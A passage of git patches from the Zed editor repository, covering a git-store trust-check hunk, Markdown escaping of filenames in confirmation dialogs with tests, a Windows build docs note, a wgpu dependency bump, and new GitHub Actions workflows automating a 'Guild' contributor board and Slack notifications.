-                                    trusted_worktrees.can_trust(
-                                        &self.worktree_store,
-                                        worktree_id,
-                                        cx,
-                                    )
-                                })
-                            })
-                            .unwrap_or(false);
                         existing.update(cx, |existing, cx| {
                             existing.reinitialize_local_backend(
                                 new_work_directory_abs_path,
@@ -1888,16 +1885,7 @@ impl GitStore {
                 ..
             } = update
             {
-                let repository_dir_abs_path = repository_dir_abs_path.clone();
-                let common_dir_abs_path = common_dir_abs_path.clone();
                 let id = RepositoryId(next_repository_id.fetch_add(1, atomic::Ordering::Release));
-                let is_trusted = TrustedWorktrees::try_get_global(cx)
-                    .map(|trusted_worktrees| {
-                        trusted_worktrees.update(cx, |trusted_worktrees, cx| {
-                            trusted_worktrees.can_trust(&self.worktree_store, worktree_id, cx)
-                        })
-                    })
-                    .unwrap_or(false);
                 let git_store = cx.weak_entity();
                 let repo = cx.new(|cx| {
                     let mut repo = Repository::local(

From f964172a69779353853b7aa63c944c9fa680ab7e Mon Sep 17 00:00:00 2001
From: Sudarsh <55168611+Sudarsh1010@users.noreply.github.com>
Date: Thu, 2 Jul 2026 14:41:26 +0530
Subject: [PATCH 205/772] project_panel: Wrap filenames in code spans in
 confirmation dialogs (#53068)

Closes #53060

Filenames with double underscores (e.g. __init__.py) were rendered as
Markdown bold in confirmation dialogs because the prompt renderer
interprets the message as Markdown. Wrap filenames in backticks so they
render as inline code instead.

Release Notes:
- Fixed filenames with double underscores rendering as bold in project
panel confirmation dialogs



<img width="327" height="186" alt="image"
src="https://github.com/user-attachments/assets/ea178055-e7e9-4a4c-80de-587fda53d894"
/>
<img width="328" height="129" alt="image"
src="https://github.com/user-attachments/assets/de93eb43-da71-41b1-9bb2-c02b86205051"
/>
<img width="329" height="175" alt="image"
src="https://github.com/user-attachments/assets/eed19f8a-1a99-4485-abf6-57c506e01e00"
/>

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/project_panel/src/project_panel.rs     |  6 +--
 .../project_panel/src/project_panel_tests.rs  | 38 +++++++++++++++++
 crates/workspace/src/pane.rs                  | 42 ++++++++++++++-----
 3 files changed, 73 insertions(+), 13 deletions(-)

diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index ef1981db60caa1..059f068507842d 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -2350,7 +2350,7 @@ impl ProjectPanel {
             let file_name = entry.path.file_name()?.to_string();
 
             let answer = if !action.skip_prompt {
-                let prompt = format!("Discard changes to {}?", file_name);
+                let prompt = format!("Discard changes to {}?", MarkdownInlineCode(&file_name));
                 Some(window.prompt(PromptLevel::Info, &prompt, None, &["Restore", "Cancel"], cx))
             } else {
                 None
@@ -2570,7 +2570,7 @@ impl ProjectPanel {
                                 .iter()
                                 .map(|(_, _, path)| MarkdownInlineCode(path).to_string())
                                 .take(CUTOFF_POINT)
-                                .collect::<Vec<_>>();
+                                .collect::<Vec<String>>();
                             paths.truncate(CUTOFF_POINT);
                             if truncated_path_counts == 1 {
                                 paths.push(".. 1 file not shown".into());
@@ -4541,7 +4541,7 @@ impl ProjectPanel {
                             "already exists in the destination folder. ",
                             "Do you want to replace it?"
                         ),
-                        filename
+                        MarkdownInlineCode(filename)
                     );
                     let answer = cx
                         .update(|window, cx| {
diff --git a/crates/project_panel/src/project_panel_tests.rs b/crates/project_panel/src/project_panel_tests.rs
index d1a0f3b209eb0c..3e4e3788da7041 100644
--- a/crates/project_panel/src/project_panel_tests.rs
+++ b/crates/project_panel/src/project_panel_tests.rs
@@ -11060,3 +11060,41 @@ async fn test_delete_prompt_escapes_markdown_in_file_name(cx: &mut gpui::TestApp
         "Are you sure you want to permanently delete `__somefile__`?"
     );
 }
+
+#[gpui::test]
+async fn test_restore_file_prompt_escapes_markdown_in_file_name(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            ".git": {},
+            "__init__.py": "modified contents",
+        }),
+    )
+    .await;
+    fs.set_head_and_index_for_repo(
+        path!("/root/.git").as_ref(),
+        &[("__init__.py", "original contents".into())],
+    );
+
+    let project = Project::test(fs.clone(), [path!("/root").as_ref()], cx).await;
+    let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let workspace = window
+        .read_with(cx, |mw, _| mw.workspace().clone())
+        .unwrap();
+    let cx = &mut VisualTestContext::from_window(window.into(), cx);
+    let panel = workspace.update_in(cx, ProjectPanel::new);
+    cx.run_until_parked();
+
+    select_path(&panel, "root/__init__.py", cx);
+    panel.update_in(cx, |panel, window, cx| {
+        panel.restore_file(&git::RestoreFile { skip_prompt: false }, window, cx)
+    });
+    let (message, _detail) = cx
+        .pending_prompt()
+        .expect("restore should show a confirmation prompt");
+
+    assert_eq!(message, "Discard changes to `__init__.py`?");
+}
diff --git a/crates/workspace/src/pane.rs b/crates/workspace/src/pane.rs
index ea3091a6fffbcc..55736c0824b887 100644
--- a/crates/workspace/src/pane.rs
+++ b/crates/workspace/src/pane.rs
@@ -50,7 +50,8 @@ use ui::{
     Tooltip, prelude::*, right_click_menu,
 };
 use util::{
-    ResultExt, debug_panic, maybe, paths::PathStyle, serde::default_true, truncate_and_remove_front,
+    ResultExt, debug_panic, markdown::MarkdownInlineCode, maybe, paths::PathStyle,
+    serde::default_true, truncate_and_remove_front,
 };
 
 /// A selected entry in e.g. project panel.
@@ -4891,15 +4892,20 @@ impl NavHistoryState {
 }
 
 fn dirty_message_for(buffer_path: Option<ProjectPath>, path_style: PathStyle) -> String {
-    let path = buffer_path
-        .as_ref()
-        .and_then(|p| {
-            let path = p.path.display(path_style);
-            if path.is_empty() { None } else { Some(path) }
-        })
-        .unwrap_or("This buffer".into());
-    let path = truncate_and_remove_front(&path, 80);
-    format!("{path} contains unsaved edits. Do you want to save it?")
+    let path = buffer_path.as_ref().and_then(|p| {
+        let path = p.path.display(path_style);
+        if path.is_empty() { None } else { Some(path) }
+    });
+    match path {
+        Some(path) => {
+            let path = truncate_and_remove_front(&path, 80);
+            format!(
+                "{} contains unsaved edits. Do you want to save it?",
+                MarkdownInlineCode(path.as_str())
+            )
+        }
+        None => "This buffer contains unsaved edits. Do you want to save it?".to_string(),
+    }
 }
 
 pub fn tab_details(items: &[Box<dyn ItemHandle>], _window: &Window, cx: &App) -> Vec<usize> {
@@ -9093,6 +9099,22 @@ mod tests {
         }
     }
 
+    #[test]
+    fn test_dirty_message_for_escapes_markdown_in_path() {
+        let project_path = ProjectPath {
+            worktree_id: WorktreeId::from_usize(0),
+            path: util::rel_path::rel_path("dir/__init__.py").into(),
+        };
+        assert_eq!(
+            dirty_message_for(Some(project_path), PathStyle::Posix),
+            "`dir/__init__.py` contains unsaved edits. Do you want to save it?"
+        );
+        assert_eq!(
+            dirty_message_for(None, PathStyle::Posix),
+            "This buffer contains unsaved edits. Do you want to save it?"
+        );
+    }
+
     mod property_test {
         use super::*;
         use proptest::prelude::*;

From 779ca5ef7248b1f66bad91f85a5c5d0b6922de6e Mon Sep 17 00:00:00 2001
From: Yue Fei <infyniteheap1123@outlook.com>
Date: Thu, 2 Jul 2026 17:11:42 +0800
Subject: [PATCH 206/772] docs: Add note to Windows building docs (#60104)

# Objective

Microsoft has decoupled the MSVC version from the Visual Studio version
starting with Visual Studio 2026 (see [this
blog](https://devblogs.microsoft.com/cppblog/new-release-cadence-and-support-lifecycle-for-msvc-build-tools/)),
meaning that the previous traditional naming conventions were obsolete.
For Visual Studio 2026 (including future newer versions of VS) users,
the existing docs will probably confuse them, as they cannot find out
the components named like "MSVC v145 - VS 2026 C++ ..." in present
Visual Studio Installer.

## Solution

Add a note next to the dependencies.

## Testing

Docs are no need to test. (Maybe?)

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 docs/src/development/windows.md | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docs/src/development/windows.md b/docs/src/development/windows.md
index 38f578b36b8d29..b9882c51354413 100644
--- a/docs/src/development/windows.md
+++ b/docs/src/development/windows.md
@@ -21,6 +21,8 @@ Clone the [Zed repository](https://github.com/zed-industries/zed).
 - Install the Windows 11 or 10 SDK for your system, and make sure at least `Windows 10 SDK version 2104 (10.0.20348.0)` is installed. You can download it from the [Windows SDK Archive](https://developer.microsoft.com/windows/downloads/windows-sdk/).
 - Install [CMake](https://cmake.org/download) (required by [a dependency](https://docs.rs/wasmtime-c-api-impl/latest/wasmtime_c_api/)). Or you can install it through Visual Studio Installer, then manually add the `bin` directory to your `PATH`, for example: `C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\CMake\CMake\bin`.
 
+> Starting with Visual Studio 2026 (or MSVC 14.50), you need to install optional components `MSVC Build Tools for x64/x86 (Latest)` and `C++ Spectre-mitigated libraries for x64/x86 (Latest MSVC)`, since Microsoft has decoupled the MSVC version from the Visual Studio version. The traditional naming format `MSVC v*** - VS YYYY C++ x64/x86 ...` will no longer be applicable to newer MSVC toolchain. See [this blog](https://devblogs.microsoft.com/cppblog/new-release-cadence-and-support-lifecycle-for-msvc-build-tools/) for more details.
+
 If you cannot compile Zed, make sure a Visual Studio installation includes at least the following components:
 
 ```json

From 9cb3140ea10dbbf3ca5ece1ab9daf9ec3f44ba0b Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Thu, 2 Jul 2026 11:36:27 +0200
Subject: [PATCH 207/772] wgpu: Use wgpu from crates.io (#60264)

Our patch made it upstream! So we can go back
https://github.com/gfx-rs/wgpu/releases/tag/v29.0.4

Release Notes:

- N/A
---
 Cargo.lock | 45 +++++++++++++++++++++++++++------------------
 Cargo.toml |  2 +-
 2 files changed, 28 insertions(+), 19 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 8037aa43f99f79..920c4e48122b2d 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -11270,8 +11270,9 @@ checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a"
 
 [[package]]
 name = "naga"
-version = "29.0.3"
-source = "git+https://github.com/zed-industries/wgpu.git?rev=357a0c56e0070480ad9daea5d2eaa83150b79e88#357a0c56e0070480ad9daea5d2eaa83150b79e88"
+version = "29.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b2bf919621e7975acb27d881bae2fb993e0d45c8e0446e85e6272971e00dc8df"
 dependencies = [
  "arrayvec",
  "bit-set 0.9.1",
@@ -21037,8 +21038,9 @@ checksum = "a751b3277700db47d3e574514de2eced5e54dc8a5436a3bf7a0b248b2cee16f3"
 
 [[package]]
 name = "wgpu"
-version = "29.0.3"
-source = "git+https://github.com/zed-industries/wgpu.git?rev=357a0c56e0070480ad9daea5d2eaa83150b79e88#357a0c56e0070480ad9daea5d2eaa83150b79e88"
+version = "29.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "76e8840e1ba2881d4cbb18d2147627a56af426ff064c0401eb0c8410c6325d07"
 dependencies = [
  "arrayvec",
  "bitflags 2.10.0",
@@ -21066,8 +21068,9 @@ dependencies = [
 
 [[package]]
 name = "wgpu-core"
-version = "29.0.3"
-source = "git+https://github.com/zed-industries/wgpu.git?rev=357a0c56e0070480ad9daea5d2eaa83150b79e88#357a0c56e0070480ad9daea5d2eaa83150b79e88"
+version = "29.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2f519832254e56965a9940c4af57dcb75f702b6f6fa4a0b172f685395843a4d7"
 dependencies = [
  "arrayvec",
  "bit-set 0.9.1",
@@ -21098,32 +21101,36 @@ dependencies = [
 
 [[package]]
 name = "wgpu-core-deps-apple"
-version = "29.0.3"
-source = "git+https://github.com/zed-industries/wgpu.git?rev=357a0c56e0070480ad9daea5d2eaa83150b79e88#357a0c56e0070480ad9daea5d2eaa83150b79e88"
+version = "29.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f5e39e26c4c0e07589e67d18546cf79ff45383659fc72fca4dd293358a0347f3"
 dependencies = [
  "wgpu-hal",
 ]
 
 [[package]]
 name = "wgpu-core-deps-emscripten"
-version = "29.0.3"
-source = "git+https://github.com/zed-industries/wgpu.git?rev=357a0c56e0070480ad9daea5d2eaa83150b79e88#357a0c56e0070480ad9daea5d2eaa83150b79e88"
+version = "29.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "01e09be551dc939498bdd5f6b2c66e55ab275dad25825267a08605a80fc9f0af"
 dependencies = [
  "wgpu-hal",
 ]
 
 [[package]]
 name = "wgpu-core-deps-windows-linux-android"
-version = "29.0.3"
-source = "git+https://github.com/zed-industries/wgpu.git?rev=357a0c56e0070480ad9daea5d2eaa83150b79e88#357a0c56e0070480ad9daea5d2eaa83150b79e88"
+version = "29.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e592c1bbef6ad047647ae6e666ebd8cee7a32bb4544d9700ec96cbf73230257"
 dependencies = [
  "wgpu-hal",
 ]
 
 [[package]]
 name = "wgpu-hal"
-version = "29.0.3"
-source = "git+https://github.com/zed-industries/wgpu.git?rev=357a0c56e0070480ad9daea5d2eaa83150b79e88#357a0c56e0070480ad9daea5d2eaa83150b79e88"
+version = "29.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "97ace1c17727311c22a46e4e3faf56ea6de81af99dcc839bdfb54857b94d448d"
 dependencies = [
  "android_system_properties",
  "arrayvec",
@@ -21175,8 +21182,9 @@ dependencies = [
 
 [[package]]
 name = "wgpu-naga-bridge"
-version = "29.0.3"
-source = "git+https://github.com/zed-industries/wgpu.git?rev=357a0c56e0070480ad9daea5d2eaa83150b79e88#357a0c56e0070480ad9daea5d2eaa83150b79e88"
+version = "29.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "95226013f547544b223281cd16a4fb549aa9dcb562adbda0faae4c73ffbbc161"
 dependencies = [
  "naga",
  "wgpu-types",
@@ -21184,8 +21192,9 @@ dependencies = [
 
 [[package]]
 name = "wgpu-types"
-version = "29.0.3"
-source = "git+https://github.com/zed-industries/wgpu.git?rev=357a0c56e0070480ad9daea5d2eaa83150b79e88#357a0c56e0070480ad9daea5d2eaa83150b79e88"
+version = "29.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "84bf84cd9ca8ca45e2b223a3868f1adf9bfc0c66aeac212e76ee7e40fdadf8f5"
 dependencies = [
  "bitflags 2.10.0",
  "bytemuck",
diff --git a/Cargo.toml b/Cargo.toml
index 80cc6501001485..9f660975525e31 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -845,7 +845,7 @@ which = "6.0.0"
 wasm-bindgen = "0.2.120"
 web-time = "1.1.0"
 webrtc-sys = "0.3.23"
-wgpu = { git = "https://github.com/zed-industries/wgpu.git", rev = "357a0c56e0070480ad9daea5d2eaa83150b79e88" }
+wgpu = "29.0.4"
 windows-core = "0.61"
 yaml-rust2 = "0.8"
 yawc = "0.2.5"

From b3d5ead59f39bdd7d5badf1a0a968522f960fa12 Mon Sep 17 00:00:00 2001
From: Lena <241371603+zelenenka@users.noreply.github.com>
Date: Thu, 2 Jul 2026 11:46:22 +0200
Subject: [PATCH 208/772] Add Guild board automation (#60266)

Automates the Guild contributor program on project board #74 so the
cohort is recognized and kept unblocked without manual babysitting.

- Move a board issue to In Progress when a Guild member self-assigns it,
and post a friendly heads-up when they are assigned an issue that is not
on the board.
- Flag when a Guild member opens a new PR while another of theirs is
still open, to help them land work before spreading thin.
- Check in on quiet assignments and, if an assignee stays silent, free
the issue back to a to-do column so others can pick it up; a "guild
hold" label lets maintainers pause check-ins after they have followed
up.
- Share a weekly digest of what the Guild shipped.
- Label PRs from Guild members and recognize a Guild contributor tier on
the community PR board.

Release Notes:

- N/A
---
 .github/workflows/guild_assignment_status.yml |  59 ++
 .github/workflows/guild_new_pr_notify.yml     | 115 ++++
 .github/workflows/guild_stale_assignments.yml |  57 ++
 .github/workflows/guild_weekly_shipped.yml    |  55 ++
 .github/workflows/pr_issue_labeler.yml        |  51 +-
 ...ck_notify_community_automation_failure.yml |   4 +
 script/github-community-pr-board.py           |  12 +-
 script/github-guild-board.py                  | 634 ++++++++++++++++++
 8 files changed, 940 insertions(+), 47 deletions(-)
 create mode 100644 .github/workflows/guild_assignment_status.yml
 create mode 100644 .github/workflows/guild_new_pr_notify.yml
 create mode 100644 .github/workflows/guild_stale_assignments.yml
 create mode 100644 .github/workflows/guild_weekly_shipped.yml
 create mode 100644 script/github-guild-board.py

diff --git a/.github/workflows/guild_assignment_status.yml b/.github/workflows/guild_assignment_status.yml
new file mode 100644
index 00000000000000..77f03168c4e4c5
--- /dev/null
+++ b/.github/workflows/guild_assignment_status.yml
@@ -0,0 +1,59 @@
+# Guild board (https://github.com/orgs/zed-industries/projects/74) reactions to issue events:
+#   assigned    guild member          -> Status "In Progress" (or Slack if off-board)
+#   unassigned  guild member          -> move back to a To-Do column by Type + Slack
+#   commented   guild assignee comments after a check-in -> Slack (each comment)
+
+name: Guild Assignment Status
+
+on:
+  issues:
+    types: [assigned, unassigned]
+  issue_comment:
+    types: [created]
+
+permissions:
+  contents: read
+
+concurrency:
+  group: guild-assignment-status-${{ github.event.issue.number || github.run_id }}
+  cancel-in-progress: false
+
+jobs:
+  handle-event:
+    if: >-
+      github.repository == 'zed-industries/zed' &&
+      (github.event_name != 'issue_comment' || github.event.issue.pull_request == null)
+    runs-on: namespace-profile-2x4-ubuntu-2404
+    timeout-minutes: 5
+
+    steps:
+      - name: Generate app token
+        id: app-token
+        uses: actions/create-github-app-token@f8d387b68d61c58ab83c6c016672934102569859 # v3.0.0
+        with:
+          app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
+          private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
+          owner: zed-industries
+
+      - name: Checkout repository
+        uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
+        with:
+          sparse-checkout: |
+            script/github-guild-board.py
+          sparse-checkout-cone-mode: false
+
+      - name: Set up Python
+        uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
+        with:
+          python-version: "3.12"
+
+      - name: Install dependencies
+        run: pip install requests
+
+      - name: Handle issue event
+        env:
+          GITHUB_TOKEN: ${{ steps.app-token.outputs.token }}
+          PROJECT_NUMBER: "74"
+          GUILD_MODE: event
+          SLACK_WEBHOOK_GUILD_INTERNAL: ${{ secrets.SLACK_WEBHOOK_GUILD_INTERNAL }}
+        run: python script/github-guild-board.py
diff --git a/.github/workflows/guild_new_pr_notify.yml b/.github/workflows/guild_new_pr_notify.yml
new file mode 100644
index 00000000000000..babab1c8b9ccb7
--- /dev/null
+++ b/.github/workflows/guild_new_pr_notify.yml
@@ -0,0 +1,115 @@
+# When a guild member opens a PR while already having another open PR in
+# zed-industries/zed, post a heads-up to #zed-guild-internal. PRs opened before
+# CUTOFF_DATE (the cohort start) don't count as "already open".
+
+name: Guild New PR Notification
+
+on:
+  pull_request_target:
+    types: [opened]
+
+permissions:
+  contents: read
+
+concurrency:
+  group: guild-new-pr-notify-${{ github.event.pull_request.number }}
+  cancel-in-progress: false
+
+env:
+  CUTOFF_DATE: "2026-07-01"
+
+jobs:
+  notify-slack:
+    if: github.repository == 'zed-industries/zed'
+    runs-on: namespace-profile-2x4-ubuntu-2404
+    timeout-minutes: 5
+
+    steps:
+      - name: Generate app token
+        id: app-token
+        uses: actions/create-github-app-token@f8d387b68d61c58ab83c6c016672934102569859 # v3.0.0
+        with:
+          app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
+          private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
+          owner: zed-industries
+
+      - name: Notify on an additional open PR by a guild member
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        env:
+          SLACK_WEBHOOK_GUILD_INTERNAL: ${{ secrets.SLACK_WEBHOOK_GUILD_INTERNAL }}
+        with:
+          github-token: ${{ steps.app-token.outputs.token }}
+          script: |
+            const GUILD_TEAM_SLUG = 'guild-cohort-2';
+            const pr = context.payload.pull_request;
+            const author = pr.user.login;
+
+            const isGuildMember = async (username) => {
+              try {
+                const response = await github.rest.teams.getMembershipForUserInOrg({
+                  org: 'zed-industries',
+                  team_slug: GUILD_TEAM_SLUG,
+                  username
+                });
+                return response.data.state === 'active';
+              } catch (error) {
+                if (error.status === 404) {
+                  return false;
+                }
+                throw error;
+              }
+            };
+
+            if (!(await isGuildMember(author))) {
+              console.log(`${author} is not a guild member, skipping`);
+              return;
+            }
+
+            const cutoff = process.env.CUTOFF_DATE;
+            const query = `repo:zed-industries/zed is:pr is:open author:${author} created:>=${cutoff}`;
+            const result = await github.rest.search.issuesAndPullRequests({ q: query, per_page: 100 });
+            const others = result.data.items.filter((item) => item.number !== pr.number);
+
+            if (others.length === 0) {
+              console.log(`${author} has no other qualifying open PRs, skipping`);
+              return;
+            }
+
+            const webhook = process.env.SLACK_WEBHOOK_GUILD_INTERNAL;
+            if (!webhook) {
+              core.setFailed('SLACK_WEBHOOK_GUILD_INTERNAL secret is not set');
+              return;
+            }
+
+            // Escape Slack's control characters so PR titles render literally
+            // instead of being read as links or @-mentions.
+            const esc = (text) =>
+              (text || '').replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+
+            const quips = [
+              'Deep into the queue they wander.',
+              'Nevermore just one open PR.',
+            ];
+            const quip = quips[Math.floor(Math.random() * quips.length)];
+            const otherList = others
+              .map((item) => `<${item.html_url}|#${item.number}> ${esc(item.title)}`)
+              .join('\n• ');
+            const message =
+              `${quip} @${author} just opened <${pr.html_url}|${esc(pr.title)}> ` +
+              `while still having open PR(s):\n• ${otherList}\n` +
+              'A gentle nudge to help them land one before spreading thin might be in order.';
+
+            const response = await fetch(webhook, {
+              method: 'POST',
+              headers: { 'Content-Type': 'application/json' },
+              body: JSON.stringify({
+                text: `${author} opened another PR while others are still open`,
+                blocks: [{ type: 'section', text: { type: 'mrkdwn', text: message } }],
+              }),
+            });
+            if (!response.ok) {
+              const body = await response.text();
+              core.setFailed(`Slack notification failed with status ${response.status}: ${body}`);
+              return;
+            }
+            console.log(`Notified: ${author} has ${others.length} other open PR(s)`);
diff --git a/.github/workflows/guild_stale_assignments.yml b/.github/workflows/guild_stale_assignments.yml
new file mode 100644
index 00000000000000..90b47988c3fd61
--- /dev/null
+++ b/.github/workflows/guild_stale_assignments.yml
@@ -0,0 +1,57 @@
+# Scheduled sweep of the Guild board (https://github.com/orgs/zed-industries/projects/74).
+# For an "In Progress" issue assigned to a guild member with no linked PR: post a
+# check-in comment once the assignee goes quiet, re-nudging after any renewed
+# silence, and clear the assignment (moving the issue back to a To-Do column by
+# Type) if a check-in goes unanswered. The "guild hold" label pauses the sweep.
+
+name: Guild Stale Assignments
+
+on:
+  schedule:
+    - cron: "0 8 * * *"
+  workflow_dispatch:
+
+permissions:
+  contents: read
+
+concurrency:
+  group: guild-stale-assignments
+  cancel-in-progress: true
+
+jobs:
+  sweep:
+    if: github.repository == 'zed-industries/zed'
+    runs-on: namespace-profile-2x4-ubuntu-2404
+    timeout-minutes: 15
+
+    steps:
+      - name: Generate app token
+        id: app-token
+        uses: actions/create-github-app-token@f8d387b68d61c58ab83c6c016672934102569859 # v3.0.0
+        with:
+          app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
+          private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
+          owner: zed-industries
+
+      - name: Checkout repository
+        uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
+        with:
+          sparse-checkout: |
+            script/github-guild-board.py
+          sparse-checkout-cone-mode: false
+
+      - name: Set up Python
+        uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
+        with:
+          python-version: "3.12"
+
+      - name: Install dependencies
+        run: pip install requests
+
+      - name: Sweep stale assignments
+        env:
+          GITHUB_TOKEN: ${{ steps.app-token.outputs.token }}
+          PROJECT_NUMBER: "74"
+          GUILD_MODE: stale
+          SLACK_WEBHOOK_GUILD_INTERNAL: ${{ secrets.SLACK_WEBHOOK_GUILD_INTERNAL }}
+        run: python script/github-guild-board.py
diff --git a/.github/workflows/guild_weekly_shipped.yml b/.github/workflows/guild_weekly_shipped.yml
new file mode 100644
index 00000000000000..9f2a7fb4c8ccbf
--- /dev/null
+++ b/.github/workflows/guild_weekly_shipped.yml
@@ -0,0 +1,55 @@
+# Scheduled Slack digest of Guild board
+# (https://github.com/orgs/zed-industries/projects/74) issues recently closed by
+# a merged PR authored by a guild member.
+
+name: Guild Weekly Shipped
+
+on:
+  schedule:
+    - cron: "0 7 * * 3"
+  workflow_dispatch:
+
+permissions:
+  contents: read
+
+concurrency:
+  group: guild-weekly-shipped
+  cancel-in-progress: true
+
+jobs:
+  digest:
+    if: github.repository == 'zed-industries/zed'
+    runs-on: namespace-profile-2x4-ubuntu-2404
+    timeout-minutes: 15
+
+    steps:
+      - name: Generate app token
+        id: app-token
+        uses: actions/create-github-app-token@f8d387b68d61c58ab83c6c016672934102569859 # v3.0.0
+        with:
+          app-id: ${{ secrets.ZED_COMMUNITY_BOT_APP_ID }}
+          private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
+          owner: zed-industries
+
+      - name: Checkout repository
+        uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
+        with:
+          sparse-checkout: |
+            script/github-guild-board.py
+          sparse-checkout-cone-mode: false
+
+      - name: Set up Python
+        uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
+        with:
+          python-version: "3.12"
+
+      - name: Install dependencies
+        run: pip install requests
+
+      - name: Build and send digest
+        env:
+          GITHUB_TOKEN: ${{ steps.app-token.outputs.token }}
+          PROJECT_NUMBER: "74"
+          GUILD_MODE: weekly
+          SLACK_WEBHOOK_GUILD_INTERNAL: ${{ secrets.SLACK_WEBHOOK_GUILD_INTERNAL }}
+        run: python script/github-guild-board.py
diff --git a/.github/workflows/pr_issue_labeler.yml b/.github/workflows/pr_issue_labeler.yml
index fbba166a2446d9..f295dcb4f9a68f 100644
--- a/.github/workflows/pr_issue_labeler.yml
+++ b/.github/workflows/pr_issue_labeler.yml
@@ -41,47 +41,7 @@ jobs:
             const STAFF_TEAM_SLUG = 'staff';
             const FIRST_CONTRIBUTION_LABEL = 'first contribution';
             const GUILD_LABEL = 'guild';
-            const GUILD_MEMBERS = [
-              '11happy',
-              'AidanV',
-              'alanpjohn',
-              'AmaanBilwar',
-              'arjunkomath',
-              'austincummings',
-              'ayushk-1801',
-              'criticic',
-              'dongdong867',
-              'emamulandalib',
-              'eureka928',
-              'feitreim',
-              'iam-liam',
-              'iksuddle',
-              'ishaksebsib',
-              'lingyaochu',
-              'loadingalias',
-              'marcocondrache',
-              'mchisolm0',
-              'MostlyKIGuess',
-              'nairadithya',
-              'nihalxkumar',
-              'notJoon',
-              'OmChillure',
-              'Palanikannan1437',
-              'polyesterswing',
-              'prayanshchh',
-              'razeghi71',
-              'sarmadgulzar',
-              'seanstrom',
-              'Shivansh-25',
-              'SkandaBhat',
-              'th0jensen',
-              'tommyming',
-              'transitoryangel',
-              'TwistingTwists',
-              'virajbhartiya',
-              'YEDASAVG',
-              'Ziqi-Yang',
-            ];
+            const GUILD_TEAM_SLUG = 'guild-cohort-2';
             const COMMUNITY_CHAMPION_LABEL = 'community champion';
             const COMMUNITY_CHAMPIONS = [
               '0x2CA',
@@ -161,11 +121,11 @@ jobs:
               return members.some((member) => member.toLowerCase() === authorLower);
             };
 
-            const isStaffMember = async (author) => {
+            const isTeamMember = async (teamSlug, author) => {
               try {
                 const response = await github.rest.teams.getMembershipForUserInOrg({
                   org: 'zed-industries',
-                  team_slug: STAFF_TEAM_SLUG,
+                  team_slug: teamSlug,
                   username: author
                 });
                 return response.data.state === 'active';
@@ -177,6 +137,9 @@ jobs:
               }
             };
 
+            const isStaffMember = (author) => isTeamMember(STAFF_TEAM_SLUG, author);
+            const isGuildMember = (author) => isTeamMember(GUILD_TEAM_SLUG, author);
+
             const getIssueLabels = () => {
               if (listIncludesAuthor(COMMUNITY_CHAMPIONS, author)) {
                 return [COMMUNITY_CHAMPION_LABEL];
@@ -202,7 +165,7 @@ jobs:
                 labelsToAdd.push(COMMUNITY_CHAMPION_LABEL);
               }
 
-              if (listIncludesAuthor(GUILD_MEMBERS, author)) {
+              if (await isGuildMember(author)) {
                 labelsToAdd.push(GUILD_LABEL);
               }
 
diff --git a/.github/workflows/slack_notify_community_automation_failure.yml b/.github/workflows/slack_notify_community_automation_failure.yml
index 688cfdded83a76..ae58a67868d6b2 100644
--- a/.github/workflows/slack_notify_community_automation_failure.yml
+++ b/.github/workflows/slack_notify_community_automation_failure.yml
@@ -12,6 +12,10 @@ on:
       - "Community PR Board"
       - "PR Board Meta Fields Refresh"
       - "PR Issue Labeler"
+      - "Guild Assignment Status"
+      - "Guild Stale Assignments"
+      - "Guild Weekly Shipped"
+      - "Guild New PR Notification"
     types: [completed]
 
 jobs:
